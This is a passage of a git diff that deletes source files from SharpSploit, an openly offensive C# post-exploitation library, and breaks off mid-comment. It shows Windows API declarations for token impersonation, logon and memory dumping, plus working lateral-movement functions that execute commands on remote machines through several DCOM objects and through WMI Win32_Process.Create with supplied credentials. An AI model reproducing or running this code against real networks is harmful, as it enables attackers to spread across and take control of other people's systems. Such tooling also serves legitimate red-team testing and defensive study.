- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean GetTokenInformation(
- IntPtr TokenHandle,
- WinNT._TOKEN_INFORMATION_CLASS TokenInformationClass,
- IntPtr TokenInformation,
- UInt32 TokenInformationLength,
- out UInt32 ReturnLength
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean GetTokenInformation(
- IntPtr TokenHandle,
- WinNT._TOKEN_INFORMATION_CLASS TokenInformationClass,
- ref WinNT._TOKEN_STATISTICS TokenInformation,
- UInt32 TokenInformationLength,
- out UInt32 ReturnLength
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean ImpersonateLoggedOnUser(
- IntPtr hToken
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean ImpersonateSelf(
- WinNT._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern bool LogonUserA(
- string lpszUsername,
- string lpszDomain,
- string lpszPassword,
- LOGON_TYPE dwLogonType,
- LOGON_PROVIDER dwLogonProvider,
- out IntPtr phToken
- );
-
- [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
- public static extern bool LookupAccountSid(
- String lpSystemName,
- //[MarshalAs(UnmanagedType.LPArray)]
- IntPtr Sid,
- StringBuilder lpName,
- ref UInt32 cchName,
- StringBuilder ReferencedDomainName,
- ref UInt32 cchReferencedDomainName,
- out WinNT._SID_NAME_USE peUse
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean LookupPrivilegeName(
- String lpSystemName,
- IntPtr lpLuid,
- StringBuilder lpName,
- ref Int32 cchName
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean LookupPrivilegeValue(
- String lpSystemName,
- String lpName,
- ref WinNT._LUID luid
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean PrivilegeCheck(
- IntPtr ClientToken,
- WinNT._PRIVILEGE_SET RequiredPrivileges,
- out IntPtr pfResult
- );
-
- [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
- public static extern int RegOpenKeyEx(
- UIntPtr hKey,
- String subKey,
- Int32 ulOptions,
- Int32 samDesired,
- out UIntPtr hkResult
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern uint RegQueryValueEx(
- UIntPtr hKey,
- String lpValueName,
- Int32 lpReserved,
- ref MW32.RegistryValueKind lpType,
- IntPtr lpData,
- ref Int32 lpcbData
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Int32 RegQueryInfoKey(
- UIntPtr hKey,
- StringBuilder lpClass,
- ref UInt32 lpcchClass,
- IntPtr lpReserved,
- out UInt32 lpcSubkey,
- out UInt32 lpcchMaxSubkeyLen,
- out UInt32 lpcchMaxClassLen,
- out UInt32 lpcValues,
- out UInt32 lpcchMaxValueNameLen,
- out UInt32 lpcbMaxValueLen,
- IntPtr lpSecurityDescriptor,
- IntPtr lpftLastWriteTime
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean RevertToSelf();
-
- //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx
- [Flags]
- public enum CREATION_FLAGS
- {
- NONE = 0x0,
- CREATE_DEFAULT_ERROR_MODE = 0x04000000,
- CREATE_NEW_CONSOLE = 0x00000010,
- CREATE_NEW_PROCESS_GROUP = 0x00000200,
- CREATE_SEPARATE_WOW_VDM = 0x00000800,
- CREATE_SUSPENDED = 0x00000004,
- CREATE_UNICODE_ENVIRONMENT = 0x00000400,
- EXTENDED_STARTUPINFO_PRESENT = 0x00080000
- }
-
- [Flags]
- public enum LOGON_FLAGS
- {
- LOGON_WITH_PROFILE = 0x00000001,
- LOGON_NETCREDENTIALS_ONLY = 0x00000002
- }
-
- public enum LOGON_TYPE
- {
- LOGON32_LOGON_INTERACTIVE = 2,
- LOGON32_LOGON_NETWORK,
- LOGON32_LOGON_BATCH,
- LOGON32_LOGON_SERVICE,
- LOGON32_LOGON_UNLOCK = 7,
- LOGON32_LOGON_NETWORK_CLEARTEXT,
- LOGON32_LOGON_NEW_CREDENTIALS
- }
-
- public enum LOGON_PROVIDER
- {
- LOGON32_PROVIDER_DEFAULT,
- LOGON32_PROVIDER_WINNT35,
- LOGON32_PROVIDER_WINNT40,
- LOGON32_PROVIDER_WINNT50
- }
- }
-
- public static class Dbghelp
- {
- public enum MINIDUMP_TYPE
- {
- MiniDumpNormal = 0x00000000,
- MiniDumpWithDataSegs = 0x00000001,
- MiniDumpWithFullMemory = 0x00000002,
- MiniDumpWithHandleData = 0x00000004,
- MiniDumpFilterMemory = 0x00000008,
- MiniDumpScanMemory = 0x00000010,
- MiniDumpWithUnloadedModules = 0x00000020,
- MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
- MiniDumpFilterModulePaths = 0x00000080,
- MiniDumpWithProcessThreadData = 0x00000100,
- MiniDumpWithPrivateReadWriteMemory = 0x00000200,
- MiniDumpWithoutOptionalData = 0x00000400,
- MiniDumpWithFullMemoryInfo = 0x00000800,
- MiniDumpWithThreadInfo = 0x00001000,
- MiniDumpWithCodeSegs = 0x00002000,
- MiniDumpWithoutAuxiliaryState = 0x00004000,
- MiniDumpWithFullAuxiliaryState = 0x00008000,
- MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
- MiniDumpIgnoreInaccessibleMemory = 0x00020000,
- MiniDumpWithTokenInformation = 0x00040000,
- MiniDumpWithModuleHeaders = 0x00080000,
- MiniDumpFilterTriage = 0x00100000,
- MiniDumpValidTypeFlags = 0x001fffff
- }
-
- [DllImport("dbghelp.dll", SetLastError = true)]
- public static extern bool MiniDumpWriteDump(
- IntPtr hProcess,
- UInt32 ProcessId,
- SafeHandle hFile,
- MINIDUMP_TYPE DumpType,
- IntPtr ExceptionParam,
- IntPtr UserStreamParam,
- IntPtr CallbackParam
- );
- }
-
- public static class ActiveDs
- {
- [DllImport("activeds.dll")]
- public static extern IntPtr Init(
- Int32 lnSetType,
- [MarshalAs(UnmanagedType.BStr)] string bstrADsPath
- );
-
- [DllImport("activeds.dll")]
- public static extern IntPtr Set(
- Int32 lnSetType,
- [MarshalAs(UnmanagedType.BStr)] string bstrADsPath
- );
-
- [DllImport("activeds.dll")]
- public static extern IntPtr Get(
- Int32 lnSetType,
- [MarshalAs(UnmanagedType.BStr)] ref string pbstrADsPath
- );
-
- [DllImport("activeds.dll")]
- public static extern IntPtr InitEx(
- Int32 lnSetType,
- [MarshalAs(UnmanagedType.BStr)] string bstrADsPath,
- [MarshalAs(UnmanagedType.BStr)] string bstrUserID,
- [MarshalAs(UnmanagedType.BStr)] string bstrDomain,
- [MarshalAs(UnmanagedType.BStr)] string bstrPassword
- );
-
- [DllImport("activeds.dll")]
- public static extern IntPtr put_ChaseReferral(
- Int32 lnChangeReferral
- );
- }
-
- public class WinBase
- {
- [StructLayout(LayoutKind.Sequential)]
- public struct _SYSTEM_INFO
- {
- public UInt16 wProcessorArchitecture;
- public UInt16 wReserved;
- public UInt32 dwPageSize;
- public IntPtr lpMinimumApplicationAddress;
- public IntPtr lpMaximumApplicationAddress;
- public IntPtr dwActiveProcessorMask;
- public UInt32 dwNumberOfProcessors;
- public UInt32 dwProcessorType;
- public UInt32 dwAllocationGranularity;
- public UInt16 wProcessorLevel;
- public UInt16 wProcessorRevision;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _SECURITY_ATTRIBUTES
- {
- UInt32 nLength;
- IntPtr lpSecurityDescriptor;
- Boolean bInheritHandle;
- };
- }
-
- public class WinNT
- {
- public const UInt32 PAGE_NOACCESS = 0x01;
- public const UInt32 PAGE_READONLY = 0x02;
- public const UInt32 PAGE_READWRITE = 0x04;
- public const UInt32 PAGE_WRITECOPY = 0x08;
- public const UInt32 PAGE_EXECUTE = 0x10;
- public const UInt32 PAGE_EXECUTE_READ = 0x20;
- public const UInt32 PAGE_EXECUTE_READWRITE = 0x40;
- public const UInt32 PAGE_EXECUTE_WRITECOPY = 0x80;
- public const UInt32 PAGE_GUARD = 0x100;
- public const UInt32 PAGE_NOCACHE = 0x200;
- public const UInt32 PAGE_WRITECOMBINE = 0x400;
- public const UInt32 PAGE_TARGETS_INVALID = 0x40000000;
- public const UInt32 PAGE_TARGETS_NO_UPDATE = 0x40000000;
-
- public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
- public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1;
- public const UInt32 SE_PRIVILEGE_REMOVED = 0x4;
- public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3;
-
- public const UInt64 SE_GROUP_ENABLED = 0x00000004L;
- public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L;
- public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L;
- public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020;
- public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L;
- public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L;
- public const UInt64 SE_GROUP_MANDATORY = 0x00000001L;
- public const UInt64 SE_GROUP_OWNER = 0x00000008L;
- public const UInt64 SE_GROUP_RESOURCE = 0x20000000L;
- public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L;
-
- public enum _SECURITY_IMPERSONATION_LEVEL
- {
- SecurityAnonymous,
- SecurityIdentification,
- SecurityImpersonation,
- SecurityDelegation
- }
-
- public enum TOKEN_TYPE
- {
- TokenPrimary = 1,
- TokenImpersonation
- }
-
- public enum _TOKEN_ELEVATION_TYPE
- {
- TokenElevationTypeDefault = 1,
- TokenElevationTypeFull,
- TokenElevationTypeLimited
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _MEMORY_BASIC_INFORMATION32
- {
- public UInt32 BaseAddress;
- public UInt32 AllocationBase;
- public UInt32 AllocationProtect;
- public UInt32 RegionSize;
- public UInt32 State;
- public UInt32 Protect;
- public UInt32 Type;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _MEMORY_BASIC_INFORMATION64
- {
- public UInt64 BaseAddress;
- public UInt64 AllocationBase;
- public UInt32 AllocationProtect;
- public UInt32 __alignment1;
- public UInt64 RegionSize;
- public UInt32 State;
- public UInt32 Protect;
- public UInt32 Type;
- public UInt32 __alignment2;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _LUID_AND_ATTRIBUTES
- {
- public _LUID Luid;
- public UInt32 Attributes;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _LUID
- {
- public UInt32 LowPart;
- public UInt32 HighPart;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _TOKEN_STATISTICS
- {
- public _LUID TokenId;
- public _LUID AuthenticationId;
- public UInt64 ExpirationTime;
- public TOKEN_TYPE TokenType;
- public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
- public UInt32 DynamicCharged;
- public UInt32 DynamicAvailable;
- public UInt32 GroupCount;
- public UInt32 PrivilegeCount;
- public _LUID ModifiedId;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _TOKEN_PRIVILEGES
- {
- public UInt32 PrivilegeCount;
- public _LUID_AND_ATTRIBUTES Privileges;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _TOKEN_MANDATORY_LABEL
- {
- public _SID_AND_ATTRIBUTES Label;
- }
-
- public struct _SID
- {
- public byte Revision;
- public byte SubAuthorityCount;
- public WinNT._SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
- [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
- public ulong[] SubAuthority;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _SID_IDENTIFIER_AUTHORITY
- {
- [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)]
- public byte[] Value;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _SID_AND_ATTRIBUTES
- {
- public IntPtr Sid;
- public UInt32 Attributes;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _PRIVILEGE_SET
- {
- public UInt32 PrivilegeCount;
- public UInt32 Control;
- [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
- public _LUID_AND_ATTRIBUTES[] Privilege;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _TOKEN_USER
- {
- public _SID_AND_ATTRIBUTES User;
- }
-
- public enum _SID_NAME_USE
- {
- SidTypeUser = 1,
- SidTypeGroup,
- SidTypeDomain,
- SidTypeAlias,
- SidTypeWellKnownGroup,
- SidTypeDeletedAccount,
- SidTypeInvalid,
- SidTypeUnknown,
- SidTypeComputer,
- SidTypeLabel
- }
-
- public enum _TOKEN_INFORMATION_CLASS
- {
- TokenUser = 1,
- TokenGroups,
- TokenPrivileges,
- TokenOwner,
- TokenPrimaryGroup,
- TokenDefaultDacl,
- TokenSource,
- TokenType,
- TokenImpersonationLevel,
- TokenStatistics,
- TokenRestrictedSids,
- TokenSessionId,
- TokenGroupsAndPrivileges,
- TokenSessionReference,
- TokenSandBoxInert,
- TokenAuditPolicy,
- TokenOrigin,
- TokenElevationType,
- TokenLinkedToken,
- TokenElevation,
- TokenHasRestrictions,
- TokenAccessInformation,
- TokenVirtualizationAllowed,
- TokenVirtualizationEnabled,
- TokenIntegrityLevel,
- TokenUIAccess,
- TokenMandatoryPolicy,
- TokenLogonSid,
- TokenIsAppContainer,
- TokenCapabilities,
- TokenAppContainerSid,
- TokenAppContainerNumber,
- TokenUserClaimAttributes,
- TokenDeviceClaimAttributes,
- TokenRestrictedUserClaimAttributes,
- TokenRestrictedDeviceClaimAttributes,
- TokenDeviceGroups,
- TokenRestrictedDeviceGroups,
- TokenSecurityAttributes,
- TokenIsRestricted,
- MaxTokenInfoClass
- }
-
- // http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK
- [Flags]
- public enum ACCESS_MASK : uint
- {
- DELETE = 0x00010000,
- READ_CONTROL = 0x00020000,
- WRITE_DAC = 0x00040000,
- WRITE_OWNER = 0x00080000,
- SYNCHRONIZE = 0x00100000,
- STANDARD_RIGHTS_REQUIRED = 0x000F0000,
- STANDARD_RIGHTS_READ = 0x00020000,
- STANDARD_RIGHTS_WRITE = 0x00020000,
- STANDARD_RIGHTS_EXECUTE = 0x00020000,
- STANDARD_RIGHTS_ALL = 0x001F0000,
- SPECIFIC_RIGHTS_ALL = 0x0000FFF,
- ACCESS_SYSTEM_SECURITY = 0x01000000,
- MAXIMUM_ALLOWED = 0x02000000,
- GENERIC_READ = 0x80000000,
- GENERIC_WRITE = 0x40000000,
- GENERIC_EXECUTE = 0x20000000,
- GENERIC_ALL = 0x10000000,
- DESKTOP_READOBJECTS = 0x00000001,
- DESKTOP_CREATEWINDOW = 0x00000002,
- DESKTOP_CREATEMENU = 0x00000004,
- DESKTOP_HOOKCONTROL = 0x00000008,
- DESKTOP_JOURNALRECORD = 0x00000010,
- DESKTOP_JOURNALPLAYBACK = 0x00000020,
- DESKTOP_ENUMERATE = 0x00000040,
- DESKTOP_WRITEOBJECTS = 0x00000080,
- DESKTOP_SWITCHDESKTOP = 0x00000100,
- WINSTA_ENUMDESKTOPS = 0x00000001,
- WINSTA_READATTRIBUTES = 0x00000002,
- WINSTA_ACCESSCLIPBOARD = 0x00000004,
- WINSTA_CREATEDESKTOP = 0x00000008,
- WINSTA_WRITEATTRIBUTES = 0x00000010,
- WINSTA_ACCESSGLOBALATOMS = 0x00000020,
- WINSTA_EXITWINDOWS = 0x00000040,
- WINSTA_ENUMERATE = 0x00000100,
- WINSTA_READSCREEN = 0x00000200,
- WINSTA_ALL_ACCESS = 0x0000037F
- };
- }
-
- public class ProcessThreadsAPI
- {
- //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
- [StructLayout(LayoutKind.Sequential)]
- public struct _STARTUPINFO
- {
- public UInt32 cb;
- public String lpReserved;
- public String lpDesktop;
- public String lpTitle;
- public UInt32 dwX;
- public UInt32 dwY;
- public UInt32 dwXSize;
- public UInt32 dwYSize;
- public UInt32 dwXCountChars;
- public UInt32 dwYCountChars;
- public UInt32 dwFillAttribute;
- public UInt32 dwFlags;
- public UInt16 wShowWindow;
- public UInt16 cbReserved2;
- public IntPtr lpReserved2;
- public IntPtr hStdInput;
- public IntPtr hStdOutput;
- public IntPtr hStdError;
- };
-
- //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
- [StructLayout(LayoutKind.Sequential)]
- public struct _STARTUPINFOEX
- {
- _STARTUPINFO StartupInfo;
- // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
- };
-
- //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx
- [StructLayout(LayoutKind.Sequential)]
- public struct _PROCESS_INFORMATION
- {
- public IntPtr hProcess;
- public IntPtr hThread;
- public UInt32 dwProcessId;
- public UInt32 dwThreadId;
- };
- }
-
- public class WinCred
- {
- #pragma warning disable 0618
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct _CREDENTIAL
- {
- public CRED_FLAGS Flags;
- public UInt32 Type;
- public IntPtr TargetName;
- public IntPtr Comment;
- public FILETIME LastWritten;
- public UInt32 CredentialBlobSize;
- public UInt32 Persist;
- public UInt32 AttributeCount;
- public IntPtr Attributes;
- public IntPtr TargetAlias;
- public IntPtr UserName;
- }
- #pragma warning restore 0618
-
- public enum CRED_FLAGS : uint
- {
- NONE = 0x0,
- PROMPT_NOW = 0x2,
- USERNAME_TARGET = 0x4
- }
-
- public enum CRED_PERSIST : uint
- {
- Session = 1,
- LocalMachine,
- Enterprise
- }
-
- public enum CRED_TYPE : uint
- {
- Generic = 1,
- DomainPassword,
- DomainCertificate,
- DomainVisiblePassword,
- GenericCertificate,
- DomainExtended,
- Maximum,
- MaximumEx = Maximum + 1000,
- }
- }
-
- public class Secur32
- {
- [DllImport("Secur32.dll", SetLastError = false)]
- public static extern uint LsaGetLogonSessionData(
- IntPtr luid,
- out IntPtr ppLogonSessionData
- );
-
- public struct _SECURITY_LOGON_SESSION_DATA
- {
- public UInt32 Size;
- public WinNT._LUID LoginID;
- public _LSA_UNICODE_STRING Username;
- public _LSA_UNICODE_STRING LoginDomain;
- public _LSA_UNICODE_STRING AuthenticationPackage;
- public UInt32 LogonType;
- public UInt32 Session;
- public IntPtr pSid;
- public UInt64 LoginTime;
- public _LSA_UNICODE_STRING LogonServer;
- public _LSA_UNICODE_STRING DnsDomainName;
- public _LSA_UNICODE_STRING Upn;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct _LSA_UNICODE_STRING
- {
- public UInt16 Length;
- public UInt16 MaximumLength;
- public IntPtr Buffer;
- }
- }
-
- public class NtDll
- {
- [DllImport("ntdll.dll", SetLastError = true)]
- public static extern int NtFilterToken(
- IntPtr TokenHandle,
- UInt32 Flags,
- IntPtr SidsToDisable,
- IntPtr PrivilegesToDelete,
- IntPtr RestrictedSids,
- ref IntPtr hToken
- );
-
- [DllImport("ntdll.dll", SetLastError = true)]
- public static extern Int32 NtSetInformationToken(
- IntPtr TokenHandle,
- Int32 TokenInformationClass,
- ref WinNT._TOKEN_MANDATORY_LABEL TokenInformation,
- Int32 TokenInformationLength
- );
- }
- }
-}
\ No newline at end of file
diff --git a/Source/SharpSploit/Generic/Generic.cs b/Source/SharpSploit/Generic/Generic.cs
deleted file mode 100644
index 5e27e4f..0000000
--- a/Source/SharpSploit/Generic/Generic.cs
+++ /dev/null
@@ -1,185 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Text;
-using System.Linq;
-using System.Collections.Generic;
-using System.Collections;
-
-namespace SharpSploit.Generic
-{
- ///
- /// GenericObjectResult for listing objects whose type is unknown at compile time.
- ///
- public sealed class GenericObjectResult : SharpSploitResult
- {
- public object Result { get; }
- protected internal override IList ResultProperties
- {
- get
- {
- return new List
- {
- new SharpSploitResultProperty
- {
- Name = this.Result.GetType().Name,
- Value = this.Result
- }
- };
- }
- }
-
- public GenericObjectResult(object Result)
- {
- this.Result = Result;
- }
- }
-
- ///
- /// SharpSploitResultList extends the IList interface for SharpSploitResults to easily
- /// format a list of results from various SharpSploit functions.
- ///
- ///
- public class SharpSploitResultList : IList where T : SharpSploitResult
- {
- private List Results { get; } = new List();
-
- public int Count => Results.Count;
- public bool IsReadOnly => ((IList)Results).IsReadOnly;
-
-
- private const int PROPERTY_SPACE = 3;
-
- ///
- /// Formats a SharpSploitResultList to a string similar to PowerShell's Format-List function.
- ///
- /// string
- public string FormatList()
- {
- return this.ToString();
- }
-
- private string FormatTable()
- {
- // TODO
- return "";
- }
-
- ///
- /// Formats a SharpSploitResultList as a string. Overrides ToString() for convenience.
- ///
- /// string
- public override string ToString()
- {
- if (this.Results.Count > 0)
- {
- StringBuilder builder1 = new StringBuilder();
- StringBuilder builder2 = new StringBuilder();
- for (int i = 0; i < this.Results[0].ResultProperties.Count; i++)
- {
- builder1.Append(this.Results[0].ResultProperties[i].Name);
- builder2.Append(new String('-', this.Results[0].ResultProperties[i].Name.Length));
- if (i != this.Results[0].ResultProperties.Count-1)
- {
- builder1.Append(new String(' ', PROPERTY_SPACE));
- builder2.Append(new String(' ', PROPERTY_SPACE));
- }
- }
- builder1.AppendLine();
- builder1.AppendLine(builder2.ToString());
- foreach (SharpSploitResult result in this.Results)
- {
- for (int i = 0; i < result.ResultProperties.Count; i++)
- {
- SharpSploitResultProperty property = result.ResultProperties[i];
- string ValueString = property.Value.ToString();
- builder1.Append(ValueString);
- if (i != result.ResultProperties.Count-1)
- {
- builder1.Append(new String(' ', Math.Max(1, property.Name.Length + PROPERTY_SPACE - ValueString.Length)));
- }
- }
- builder1.AppendLine();
- }
- return builder1.ToString();
- }
- return "";
- }
-
- public T this[int index] { get => Results[index]; set => Results[index] = value; }
-
- public IEnumerator GetEnumerator()
- {
- return Results.Cast().GetEnumerator();
- }
-
- IEnumerator IEnumerable.GetEnumerator()
- {
- return Results.Cast().GetEnumerator();
- }
-
- public int IndexOf(T item)
- {
- return Results.IndexOf(item);
- }
-
- public void Add(T t)
- {
- Results.Add(t);
- }
-
- public void AddRange(IEnumerable range)
- {
- Results.AddRange(range);
- }
-
- public void Insert(int index, T item)
- {
- Results.Insert(index, item);
- }
-
- public void RemoveAt(int index)
- {
- Results.RemoveAt(index);
- }
-
- public void Clear()
- {
- Results.Clear();
- }
-
- public bool Contains(T item)
- {
- return Results.Contains(item);
- }
-
- public void CopyTo(T[] array, int arrayIndex)
- {
- Results.CopyTo(array, arrayIndex);
- }
-
- public bool Remove(T item)
- {
- return Results.Remove(item);
- }
- }
-
- ///
- /// Abstract class that represents a result from a SharpSploit function.
- ///
- public abstract class SharpSploitResult
- {
- protected internal abstract IList ResultProperties { get; }
- }
-
- ///
- /// SharpSploitResultProperty represents a property that is a member of a SharpSploitResult's ResultProperties.
- ///
- public class SharpSploitResultProperty
- {
- public string Name { get; set; }
- public object Value { get; set; }
- }
-}
diff --git a/Source/SharpSploit/LateralMovement/DCOM.cs b/Source/SharpSploit/LateralMovement/DCOM.cs
deleted file mode 100644
index 5cf3ba7..0000000
--- a/Source/SharpSploit/LateralMovement/DCOM.cs
+++ /dev/null
@@ -1,112 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Linq;
-using System.Reflection;
-using System.Collections.Generic;
-
-namespace SharpSploit.LateralMovement
-{
- ///
- /// DCOM is a class for executing DCOM lateral movement techniques.
- ///
- public static class DCOM
- {
- ///
- /// Execute a process on a remote system using various DCOM methods.
- ///
- /// ComputerName of remote system to execute process.
- /// Command to execute on remote system.
- ///
- ///
- /// DCOM execution method to use. Defaults to MMC20.Application.
- /// Bool. True if execution succeeds, false otherwise.
- ///
- /// Credit for the DCOM lateral movement techniques goes to Matt Nelson (@enigma0x3). This is
- /// a port of Steve Borosh (rvrshell)'s Invoke-DCOM implementation available
- /// here: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1
- ///
- public static bool DCOMExecute(string ComputerName, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", DCOMMethod Method = DCOMMethod.MMC20_Application)
- {
- try
- {
- if (Method == DCOMMethod.MMC20_Application)
- {
- Type ComType = Type.GetTypeFromProgID("MMC20.Application", ComputerName);
- object RemoteComObject = Activator.CreateInstance(ComType);
-
- object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null);
- object ActiveView = Document.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, Document, null);
- ActiveView.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, ActiveView, new object[] { Command, Directory, Parameters, "7" });
- }
- else if (Method == DCOMMethod.ShellWindows)
- {
- Type ComType = Type.GetTypeFromCLSID(CLSIDs[Method], ComputerName);
- object RemoteComObject = Activator.CreateInstance(ComType);
-
- object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { });
- object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null);
- object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null);
- Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 });
- }
- else if (Method == DCOMMethod.ShellBrowserWindow)
- {
- Type ComType = Type.GetTypeFromCLSID(CLSIDs[Method], ComputerName);
- object RemoteComObject = Activator.CreateInstance(ComType);
-
- object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null);
- object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null);
- Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 });
- }
- else if (Method == DCOMMethod.ExcelDDE)
- {
- Type ComType = Type.GetTypeFromProgID("Excel.Application", ComputerName);
- object RemoteComObject = Activator.CreateInstance(ComType);
- RemoteComObject.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, RemoteComObject, new object[] { false });
- RemoteComObject.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { Command, Parameters });
- }
- return true;
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("DCOM Failed: " + e.Message);
- }
- return false;
- }
-
- ///
- /// Execute a process on a remote system using various DCOM methods.
- ///
- /// ComputerNames of remote systems to execute process.
- /// Command to execute on remote system.
- ///
- ///
- /// DCOM execution method to use. Defaults to MMC20.Application.
- /// Bool. True if execution succeeds, false otherwise.
- ///
- /// Credit for the DCOM lateral movement techniques goes to Matt Nelson (@enigma0x3). This is
- /// a port of Steve Borosh (rvrshell)'s Invoke-DCOM implementation available
- /// here: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1
- ///
- public static List DCOMExecute(List ComputerNames, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", DCOMMethod Method = DCOMMethod.MMC20_Application)
- {
- return ComputerNames.Select(CN => DCOMExecute(CN, Command, Parameters, Directory, Method)).ToList();
- }
-
- public enum DCOMMethod
- {
- MMC20_Application,
- ShellWindows,
- ShellBrowserWindow,
- ExcelDDE
- }
-
- private static readonly Dictionary CLSIDs = new Dictionary
- {
- { DCOMMethod.ShellWindows, new Guid("9BA05972-F6A8-11CF-A442-00A0C90A8F39") },
- { DCOMMethod.ShellBrowserWindow, new Guid("C08AFD90-F2A1-11D1-8455-00A0C91F3880") }
- };
- }
-}
diff --git a/Source/SharpSploit/LateralMovement/WMI.cs b/Source/SharpSploit/LateralMovement/WMI.cs
deleted file mode 100644
index 3d2db3e..0000000
--- a/Source/SharpSploit/LateralMovement/WMI.cs
+++ /dev/null
@@ -1,68 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Linq;
-using System.Management;
-using System.Collections.Generic;
-
-namespace SharpSploit.LateralMovement
-{
- ///
- /// WMI is a class for executing WMI lateral movement techniques.
- ///
- public static class WMI
- {
- ///
- /// Execute a process on a remote system using the WMI Win32_Process.Create method.
- ///
- /// ComputerName of remote system to execute process.
- /// Command to execute on remote system.
- /// Username to authenticate as to the remote system.
- /// Password to authenticate the user.
- /// Bool. True if execution succeeds, false otherwise.
- public static bool WMIExecute(string ComputerName, string Command, string Username, string Password)
- {
- ConnectionOptions options = new ConnectionOptions();
- options.Username = Username;
- options.Password = Password;
-
- ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", ComputerName), options);
-
- try
- {
- scope.Connect();
- var wmiProcess = new ManagementClass(scope, new ManagementPath("Win32_Process"), new ObjectGetOptions());
-
- ManagementBaseObject inParams = wmiProcess.GetMethodParameters("Create");
- PropertyDataCollection properties = inParams.Properties;
- inParams["CommandLine"] = Command;
-
- ManagementBaseObject outParams = wmiProcess.InvokeMethod("Create", inParams, null);
-
- Console.WriteLine("Win32_Process Create returned: " + outParams["returnValue"].ToString());
- Console.WriteLine("ProcessID: " + outParams["processId"].ToString());
- return true;
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("WMI Exception:" + e.Message);
- }
- return false;
- }
-
- ///
- /// Execute a process on a remote system using the WMI Win32_Process.Create method.
- ///
